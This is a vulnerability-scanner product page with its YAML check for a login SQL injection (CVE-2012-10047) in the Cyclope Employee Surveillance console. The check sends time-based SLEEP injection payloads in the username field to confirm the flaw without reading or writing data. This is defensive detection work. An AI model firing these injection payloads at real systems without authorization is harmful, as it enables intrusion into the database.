Cyclope — 1 vulnerability check

noctis ships 1 vulnerability check for Cyclope, covering 1 CVE; each one has to observe the bug on the live service before it reports a finding.

← All products · Feeds on GitHub

Cyclope Employee Surveillance Solution login username SQL Injection

CVECVE-2012-10047
Severitycritical
Categorysqli — SQL injection
Serviceshttp, https
Detectionscript, set_var, http_request, match · highest QoD 75
Feedtests/vulnerabilities/cyclope/CVE-2012-10047.yaml

The web console of Cyclope Employee Surveillance Solution (6.x, up to 6.0.8.5) places the username parameter of the auth-login request (POST /index.php) unescaped into its login SQL query, allowing unauthenticated SQL injection (the published exploit goes on to write a PHP file and run code as SYSTEM).

This check first confirms the Cyclope console login page. It then sends login requests whose username carries a SLEEP of random length in a derived table: a vulnerable console delays each reply by the requested time over a baseline request, for two different random delays. No table is read and nothing is written, and the login never succeeds.

How noctis detects it

  1. Parses / computes the next value with a Rhai script
  2. HTTP(S) request GET /index.php
  3. Parses / computes the next value with a Rhai script
  4. HTTP(S) request POST /index.php with a crafted body
  5. HTTP(S) request POST /index.php with a crafted body
  6. HTTP(S) request POST /index.php with a crafted body
  7. Parses / computes the next value with a Rhai script
  8. Checks thit for true → finding QoD 75: Cyclope Employee Surveillance Solution SQL Injection (CVE-2012-10047)

References:

Feed source — tests/vulnerabilities/cyclope/CVE-2012-10047.yaml
# Cyclope Employee Surveillance Solution — login SQL injection (CVE-2012-10047)
#
# The auth-login action of the web console (POST /index.php, act=auth-login&pag=login)
# puts `username` unescaped into the login SQL query (MySQL); the published exploit
# chains it into an INTO OUTFILE PHP write and SYSTEM code execution. NVD gives only
# a CVSS v4.0 score (10.0), so the feed carries no v3.x `cvss:`.
#
# Detection: gate on the console's login page (GET /index.php, 200, "<title>Cyclope" and
# "Cyclope Employee Surveillance Solution"), then time-based proof on `username` with a
# SLEEP in a derived table (evaluated once whatever the row count, SLEEP returns 0 so
# the login never succeeds and nothing is written):
#   x' or (select * from (select(sleep(n)))noctis) and '1'='1
# Two random delays (long first) over a fast baseline must each land in their own window
# for the same multiple m = 1..3 (the value may run through several queries), with a gap
# of at least m*2 s between them (a tarpit adding one delay to every request gives ~0).
# Read-only: no table referenced, nothing written, nothing extracted.
#
# Better than the source NVT: it sends a bare `or sleep(10)`, evaluated once per row of
# the users table (a 10 s probe stalls a multi-row table for minutes and misses an empty
# one), uses a single delay a slow server can mimic, and also fires on any page that
# merely carries the Cyclope title; here the delays are short, random, two-sided and
# row-independent.
#
# Source: OpenVAS/Greenbone NVT 2012/gb_cyclope_employee_surveillance_sql_inj_vuln.nasl
# (OID 1.3.6.1.4.1.25623.1.0.803006, GPL-2.0-only).
uid: 2b0a6f4e-5c7d-4e3b-9a41-6d8f0c1e7a52
name: "Cyclope Employee Surveillance Solution login username SQL Injection (CVE-2012-10047)"
description: |
  The web console of Cyclope Employee Surveillance Solution (6.x, up to 6.0.8.5)
  places the username parameter of the auth-login request (POST /index.php)
  unescaped into its login SQL query, allowing unauthenticated SQL injection (the
  published exploit goes on to write a PHP file and run code as SYSTEM).

  This check first confirms the Cyclope console login page. It then sends login
  requests whose username carries a SLEEP of random length in a derived table: a
  vulnerable console delays each reply by the requested time over a baseline request,
  for two different random delays. No table is read and nothing is written, and the
  login never succeeds.
cves: [CVE-2012-10047]
severity: critical
category: sqli
confidence_base: 0.30
tags: [cyclope, employee-surveillance, sqli, time-based, php, mysql]
services: [http, https]
author: noctis
version: "1.0.0"
references:
  - "https://nvd.nist.gov/vuln/detail/CVE-2012-10047"

steps:
  - id: gen-proof
    action: script
    code: |
      let s1 = rand_int(6, 7);
      #{ s1: s1, s2: s1 - 3 }
    store_as: sc

  - id: init-page
    action: set_var
    var_name: page
    var_value: {status: 0, body: ""}

  - id: init-t-base
    action: set_var
    var_name: t_base
    var_value: {status: 0, duration_ms: 0}

  - id: init-t-long
    action: set_var
    var_name: t_long
    var_value: {status: 0, duration_ms: 0}

  - id: init-t-short
    action: set_var
    var_name: t_short
    var_value: {status: 0, duration_ms: 0}

  - id: login-page
    action: http_request
    method: GET
    path: "/index.php"
    port: "{{port}}"
    tls_insecure: true
    follow_redirects: false
    timeout_secs: 15
    store_as: page

  - id: is-cyclope
    action: script
    code: |
      page.status == 200 && type_of(page.body) == "string"
        && page.body.contains("<title>Cyclope")
        && page.body.contains("Cyclope Employee Surveillance Solution")
    store_as: cyclope

  - id: time-baseline
    action: http_request
    method: POST
    path: "/index.php"
    port: "{{port}}"
    tls_insecure: true
    follow_redirects: false
    timeout_secs: 15
    headers:
      Content-Type: "application/x-www-form-urlencoded"
    body: "act=auth-login&pag=login&username=x%27+or+%28select+*+from+%28select%28sleep%280%29%29%29noctis%29+and+%271%27%3D%271&password=aaa"
    condition: "cyclope"
    store_as: t_base

  - id: time-long
    action: http_request
    method: POST
    path: "/index.php"
    port: "{{port}}"
    tls_insecure: true
    follow_redirects: false
    timeout_secs: 40
    headers:
      Content-Type: "application/x-www-form-urlencoded"
    body: "act=auth-login&pag=login&username=x%27+or+%28select+*+from+%28select%28sleep%28{{sc.s1}}%29%29%29noctis%29+and+%271%27%3D%271&password=aaa"
    condition: "cyclope && t_base.status == 200 && t_base.duration_ms < 4000"
    store_as: t_long

  - id: time-short
    action: http_request
    method: POST
    path: "/index.php"
    port: "{{port}}"
    tls_insecure: true
    follow_redirects: false
    timeout_secs: 40
    headers:
      Content-Type: "application/x-www-form-urlencoded"
    body: "act=auth-login&pag=login&username=x%27+or+%28select+*+from+%28select%28sleep%28{{sc.s2}}%29%29%29noctis%29+and+%271%27%3D%271&password=aaa"
    condition: "cyclope && t_long.status != 0 && t_long.duration_ms >= t_base.duration_ms + sc.s1 * 1000 - 1000"
    store_as: t_short

  # m = number of queries the username goes through (each sleeps once): long SLEEP in
  # base+[m*s1-1, m*s1+3) s, short SLEEP in base+[m*s2-1, m*s2+2) s for the same m, and
  # the long reply at least m*2 s slower than the short one.
  - id: check-time
    action: script
    code: |
      let ok = false;
      if cyclope && t_base.status == 200 && t_long.status != 0 && t_short.status != 0 {
        let dl = t_long.duration_ms - t_base.duration_ms;
        let ds = t_short.duration_ms - t_base.duration_ms;
        for m in 1..4 {
          if dl >= m * sc.s1 * 1000 - 1000 && dl < m * sc.s1 * 1000 + 3000
            && ds >= m * sc.s2 * 1000 - 1000 && ds < m * sc.s2 * 1000 + 2000
            && t_long.duration_ms - t_short.duration_ms >= m * 2000 { ok = true; }
        }
      }
      ok
    store_as: thit

  - id: report-time
    action: match
    source: thit
    pattern: "true"
    condition: "thit"
    on_match:
      finding:
        title: "Cyclope Employee Surveillance Solution SQL Injection (CVE-2012-10047)"
        description: "Unauthenticated login requests to the Cyclope console whose username carries a SLEEP in a derived table were delayed by the two requested random times: the username reaches the login SQL query unescaped, so an attacker can read the database and, with the published exploit, write a PHP file and run code as SYSTEM."
        remediation: "Upgrade Cyclope Employee Surveillance Solution to a release fixing the auth-login SQL injection (later than 6.0.8.5), and do not expose the console to untrusted networks."
        confidence_delta: 0.50
        qod: 75
        evidence: "POST /index.php act=auth-login username=x' or (select * from (select(sleep(n)))noctis) and '1'='1: baseline {{t_base.duration_ms}} ms, sleep({{sc.s1}}) {{t_long.duration_ms}} ms, sleep({{sc.s2}}) {{t_short.duration_ms}} ms"
      stop: true

View these feeds on GitHub